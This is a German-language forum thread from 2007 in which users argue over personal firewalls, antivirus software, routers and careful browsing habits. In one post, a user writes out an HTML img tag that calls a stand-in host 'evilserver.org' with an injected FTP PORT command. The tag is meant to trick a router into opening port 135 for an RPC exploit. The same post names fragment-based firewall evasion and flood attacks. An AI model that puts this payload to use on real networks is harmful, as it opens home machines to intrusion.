[HS-TGO]

OK, vielleicht gab es das hier schon mal. Bitte nicht schlagen Wäre aber trotzdem interessant wie Eure aktuelle Meinung dazu ist.

[zado717]

wie wärs denn mit ich installiere Sicherheitssoftware als Schutz gegen Viren und halte eine Persöhnliche Firewall gegen Eindringlinge für schrott!

[Graumagier]

zado717 sagte:

wie wärs denn mit ich installiere Sicherheitssoftware als Schutz gegen Viren und halte eine Persöhnliche Firewall gegen Eindringlinge für schrott!

Das würde sinngemäß Punkt 3 entsprechen.

[blitz]

Sicherheitssoftware als S c h u t z gegen Viren ?

5) Brain.exe + Backup in der Hinterhand.

[HS-TGO]

So. Muss nochmal Posten damit die Umfrage nicht im Nirwana verschwindet.
Traut Euch und seit ehrlich mit der Bewertung!

Von diversen Zwitterlösungen bei den Beantwortungen wie dies zum Teil JA und dies zum Teil NEIN habe ich aus (mir bekanntem Grund) abgesehen.

Brain.exe ist mir zu abgetroschen. Manche glauben es zu haben, haben es aber auch nicht. Und hellsehen kann hier leider auch niemand.
Ein Backup für den Notfall ist ne Lösung für danach und nicht für davor.

Wäre auch mal ne Umfrage wert zu fragen was ihr macht wenn ein Problem bereits vorhanden ist.
Naja, beim nächsten mal.

[Großer]

Die Auswahlmöglichkeiten sind deutlich ungenügend.
- Router
- Linux (als OS)
- nichts von dem

[HS-TGO]

Zitat (Großer: 08.01.2007, 02:32)

Die Auswahlmöglichkeiten sind deutlich ungenügend.
- Router
- Linux (als OS)
- nichts von dem

Ja, ist ja gut. War meine erste Umfrage.
Linux ist wie du weist ein Betriebssystem. XP ist das auch.

Das als Antwort wäre wie:

Welchen Sprit tankt ihr?

1) ... Super
2) ... Normal
3) ... Diesel
4) ... Kirschwasser

[Spiderman]

Alles Blödsinn,

man braucht ein Sicherheitskonzept und dass gibt es nicht von der Stange.

Ein Sicherheitskonzept muss alle Rechner umfassen, also das gesamte LAN.

Eine PFW kann je nach Sicherheitskonzept sogar sinnvoll sein, z.B. man hat Kids, und was die alles runterladen oder wo draufklicken, also sichern die Eltern ihren PC durch eine gute PFW.

Also ein Schutz gegen die anderen PC's im LAN, ein Virus oder Trojaner kann nicht eine PFW auf einen anderen PC ausschalten oder umgehen, es bleiben nur DoS Angriffe, und dagegen muss die PFW abgesichert sein.

[ph030]

Zitat

Eine PFW kann je nach Sicherheitskonzept sogar sinnvoll sein, z.B. man hat Kids, und was die alles runterladen oder wo draufklicken, also sichern die Eltern ihren PC durch eine gute PFW.

Wie formulier ich das jetzt am besten? Ah, ich weis,

Zitat

Also ein Schutz gegen die anderen PC's im LAN, ein Virus oder Trojaner kann nicht eine PFW auf einen anderen PC ausschalten oder umgehen, es bleiben nur DoS Angriffe, und dagegen muss die PFW abgesichert sein.

Bitte einmal verständlich umformulieren, thx.

[DekenFrost]

Zitat

Eine PFW kann je nach Sicherheitskonzept sogar sinnvoll sein, z.B. man hat Kids, und was die alles runterladen oder wo draufklicken, also sichern die Eltern ihren PC durch eine gute PFW.

Selbst wenn eine PFW nun halten würde was sie verspricht, Was soll die dagegen sagen wenn die Kiddies irgendwo draufklicken und irgendwas runterladen ? Das ist eine anfrage des nutzers ans internet und die wird natürlich auch durchgeführt.

Und wenns runtergeladen ist wird das ganze auch ausgeführt. Falls irgendeine (anti)Virus-Software installiert ist, meckert die vielleicht mal kurz, aber was stört das die Kids ? Das wird eben weggeklickt. Die wollen ja schlieslich ihr Spiel spielen und lassen sich von sowas doch nicht beirren.

"Kids" sollten Eltern sowieso nicht alleine ans internet lassen .. medienkompetenz ist hier das Stichwort und nicht irgendwelche software die jeder 5 Jährige aushebeln kann. (was bei einer PFW natürlich garnicht erst nötig ist)

[Rika]

Was soll ein Router denn mit Sicherheit zu tun haben?

<img src="ftp://evilserver.org/%10%13PORT%20192,168,0,1,0,135"/> in eine Webseite reicht meist schon, damit der munter fröhlich glaubt, daß du eine Verbindung auf Port 135/TCP erlaubst und schwuppdiewupp kommt der RPC-Exploit rein. Von echten Protokoll-Implementierung mit Java oder Flash ganz zu schweigen, insbesondere kann man bei Flash sogar den Sourceport < 1024 festlegen und somit auch ohne NAT-Helper einwandfreie NAT-Mappings für alles mögliche erstellen.

Zitat

Linux ist wie du weist ein Betriebssystem.

Linux ist ein Kernel. Das weiß jeder, außer kernel.org?

Zitat

also sichern die Eltern ihren PC durch eine gute PFW.

Die Kids sind aber schlauer als die Eltern. Und die Malware sowieso. Meist ist die PFW für beide eine gute Gelegenheit, Adminrechte zu erlangen.

Zitat

ein Virus oder Trojaner kann nicht eine PFW auf einen anderen PC ausschalten oder umgehen

Oh doch, das Umgehen ist idR sehr einfach. Ob jetzt nun mit einem Tunnel oder direkt auf IP-Ebene durch überlappende IP-Fragmente das ganze Regelwerk komplett ausgehebelt wird, ist aber relativ egal, denn...

Zitat

es bleiben nur DoS Angriffe

mit denen man die meisten PFWs sowieso ganz einfach abschießen kann. Im Zweifelsfalle bringt ein wilder Mix aus SYN-, UDP- und ICMP-Floods bringen selbst auf einem 10MBit-Ethernet einen PFW-infizierten Rechner egal welcher Leistungsstärke zuverlässig zum Stillstand.

[ShadowHunter]

Zitat (DekenFrost: 08.01.2007, 06:33)

"Kids" sollten Eltern sowieso nicht alleine ans internet lassen

Gaaaanz richtig, ich lass meine Eltern auch nicht allein ins Netz scnr

Zitat (Rika: 08.01.2007, 07:16)

Linux ist ein Kernel. Das weiß jeder, außer kernel.org?

It's GNU we know

[DON666]

Zitat (Hamtaro: 08.01.2007, 00:37)

[...]
Brain.exe ist mir zu abgetroschen. Manche glauben es zu haben, haben es aber auch nicht. Und hellsehen kann hier leider auch niemand.
[...]

Da liegst Du aber nicht so ganz richtig. "Brain.exe" heißt ja nicht unbedingt, dass jemand dermaßen hellseherisch begabt ist, dass er automatisch mitkriegt, wenn sich da im Hintergrund was Böses auf dem PC tut. Es heißt aber sehr wohl, z. B. von vorneherin bei gewissen URLs oder auch ausführbaren Dateien auf ein Ansurfen bzw. Ausführen zu verzichten, da man, wenn man nicht völlig ahnungslos im Web herumirrt, nach ein paar Jährchen oftmals seine Pappenheimer schon am Gang, äääh, Namen ziemlich eindeutig erkennt. Und wenn ich mich in Grauzonen bewege, sollte mir doch wohl bewußt sein, was ich mir da einhandeln könnte. Also ich finde jedenfalls meine Brain.exe nicht sooo untauglich, hat mich zumindest bisher recht zuverlässig vor Kompromittierung bewahrt.

P.S.: Da ich ziemlich oft von "Opfern" zu Rate gezogen werde, die sich irgendeinen Schrott eingefangen haben, kann ich mit Fug & Recht behaupten, dass NIEMAND, den ich kenne, auch nur ein einziges Mal einer fiesen "Attacke" zum Opfer gefallen ist. Diese Kandidaten haben alle ohne Ausnahme zugegeben, irgendwas "mal eben schnell" selbst angeklickt zu haben. So, und jetzt kommst Du nochmal mit Deiner Anti-Brain-Theorie...

Dieser Beitrag wurde von DON666 bearbeitet: 08. Januar 2007 - 09:48

[Witi]

Brain.exe heißt ja im Prinzip nur, dass man keine Email-Anhänge mit dem Namen Rechnung.pdf.exe öffnet (auch wenn die von 1und1 kommt: Mail Von 1und1 ... Mhmm

@Rika habe ich dir schon mal gesagt, dass ich deine Erklärungen über alles liebe?

@Topic
Benutzerrechte + ordentliche Dienstekonfiguration.
Wenn man das als Sicherheitsfeature bezeichnen will, zusätzlich ein Router mit Portforwarding (leider nur einseitig).

[Erte]

Ich benutze eigentlich ZoneAlarm und AntiVir. Aber da ZoneAlarm meinen PC Start unheimlich verlangsamte habe ich es deinstalliert. Auch darum weil wenn ich ZoneAlarm beendete die svchost exe auf 100% war, wobei das Problem an einem offenen Port lag. Jetzt benutze ich Sygate. Na ja, sonst halt immer die Windows Updates draufhalten und es sollte einwandfrei laufen.